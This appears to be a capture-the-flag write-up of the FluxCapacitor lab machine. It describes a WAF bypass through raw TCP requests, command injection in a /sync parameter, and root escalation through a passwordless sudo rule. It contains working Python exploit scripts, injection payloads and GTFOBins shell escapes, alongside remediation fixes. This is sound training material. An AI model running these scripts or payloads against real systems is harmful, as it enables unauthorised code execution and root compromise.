FluxCapacitor
Summary
Target $TARGET (FluxCapacitor, Linux Medium) exposed a single HTTP service: OpenResty 1.13.6.1 fronted by a custom SuperWAF. The site homepage's HTML source contained a comment pointing to a /sync AJAX endpoint whose opt query parameter was concatenated unsanitized into a shell command inside the Lua handler.
Standard HTTP clients (curl, Python requests) triggered blanket 403 blocks, but the WAF was fingerprinting the HTTP client stack rather than inspecting payload content: sending an identical injection over a raw TCP socket with a benign User-Agent bypassed all blocking and achieved unauthenticated remote code execution as nobody — the web-worker account. Running sudo -l through the same RCE channel revealed a NOPASSWD sudo rule granting nobody the ability to run a GTFOBins-capable binary as root with no password; piping base64-encoded commands through that binary via the existing channel produced uid=0(root) execution and both flags were captured.
Command conventions
The commands below refer to the target and to any recovered credentials by variable rather than by value. Bind them in your shell before running anything; the values this box yielded are not published, so use your own.
export TARGET="<retired-instance-ip>"Attack path — how the box was taken
Exact commands 1
Full TCP scan with service detection; reveals port 80 only, OpenResty banner, and SuperWAF in Server header.
$ nmap -Pn -sV -p- --min-rate 2500 -T4 --open $TARGETExact commands 4
Register the virtual hostname used in Host request headers.
$ echo "$TARGET fluxcapacitor.htb" | sudo tee -a /etc/hostsRetrieve homepage; grep the HTML source for the /sync comment.
$ curl -sSikL --max-time 20 http://$TARGET/Confirm /sync returns a timestamp (200 OK), proving opt is processed server-side.
$ curl -sSik --max-time 15 -H 'Host: fluxcapacitor.htb' "http://$TARGET/sync?opt=index"Confirm WAF blocks injection metacharacters via standard HTTP clients; expect 403 Forbidden.
$ curl -sSik --max-time 15 -H 'Host: fluxcapacitor.htb' "http://$TARGET/sync?opt=;id"Exact commands 2
Save the raw-socket RCE helper. The opt=' <cmd>' payload: the leading quote breaks out of Lua string concatenation; trailing quote re-closes it.
$ cat > /tmp/rce.py <<PYEOF
import socket, sys
HOST = "$TARGET"
def rce(cmd):
req = (
f"GET /sync?opt=' {cmd}' HTTP/1.1\r\n"
f"Host: fluxcapacitor.htb\r\n"
f"User-Agent: nothingtoseehere\r\n"
f"Connection: close\r\n\r\n"
).encode()
s = socket.create_connection((HOST, 80), timeout=8)
s.sendall(req)
data = b''
while True:
b = s.recv(4096)
if not b:
break
data += b
s.close()
return data.split(b'\r\n\r\n', 1)[-1].decode(errors='replace')
if __name__ == '__main__':
print(rce(' '.join(sys.argv[1:])))
PYEOFVerify WAF bypass and execution context; expect uid=65534(nobody) gid=65534(nogroup).
$ python3 /tmp/rce.py /usr/bin/id
uid=65534(nobody)FixReplace HTTP client-fingerprint WAF rules with content-based payload inspection applied to every requestHigh
Exact commands 2
Locate the user flag on the filesystem.
$ python3 /tmp/rce.py 'find / -name user.txt 2>/dev/null'Read user flag; adjust path to match find output above. Value: <user.txt>.
$ python3 /tmp/rce.py 'cat /home/nobody/user.txt'FixEliminate OS command injection in the /sync Lua handler by removing shell-exec concatenationCritical
Exact commands 1
List allowed sudo commands for nobody; reveals the NOPASSWD GTFOBins binary path.
$ python3 /tmp/rce.py 'sudo -l'Exact commands 2
Replace <NOPASSWD_BINARY_FROM_SUDO_L> with the exact binary path shown by sudo -l in step 5. Base64 encoding avoids WAF blocks on special characters. Expect uid=0(root) then the root flag.
$ cat > /tmp/rce_root.py <<PYEOF
import socket, base64
HOST = "$TARGET"
SUDO_BIN = '<NOPASSWD_BINARY_FROM_SUDO_L>'
def rce(cmd):
req = (
f"GET /sync?opt=' {cmd}' HTTP/1.1\r\n"
f"Host: fluxcapacitor.htb\r\n"
f"User-Agent: nothingtoseehere\r\n"
f"Connection: close\r\n\r\n"
).encode()
s = socket.create_connection((HOST, 80), timeout=8)
s.sendall(req)
data = b''
while True:
b = s.recv(8192)
if not b:
break
data += b
s.close()
return data.split(b'\r\n\r\n', 1)[-1].decode(errors='replace')
for cmd in ['id', 'cat /root/root.txt']:
b64 = base64.b64encode(cmd.encode()).decode()
print(rce(f'echo {b64}|base64 -d|sudo {SUDO_BIN}'))
PYEOFExecutes the escalation; flag value: <root.txt>.
$ python3 /tmp/rce_root.pyFixRemove the passwordless sudo rule granting the web-worker account root-level binary executionCritical
Attack patterns used
The transferable techniques behind this compromise.
Sudo Misconfiguration (GTFOBins)Linux · Privilege EscalationT1548.003
What it is
When a low-privileged user is allowed (via sudo -l) to run a specific binary as root, many binaries can be coerced into spawning a root shell or reading root-owned files. GTFOBins catalogs the escape for each binary — e.g. sudo perl -e 'exec "/bin/sh"', sudo vim -c ':!sh', sudo find . -exec /bin/sh \;.
Why it works
Admins grant narrow sudo rights assuming the binary is 'safe', but interpreters, editors, and many utilities have shell-out features. Remediate by avoiding sudo rules on interpreter-class binaries, using NOEXEC, and least-privilege review. Always run sudo -l first on a foothold.
Read more
Exposed services
| 80/tcp | http OpenResty/1.13.6.1 (SuperWAF) |
Techniques used
New to these ideas? Learn the concepts in Hack & Learn.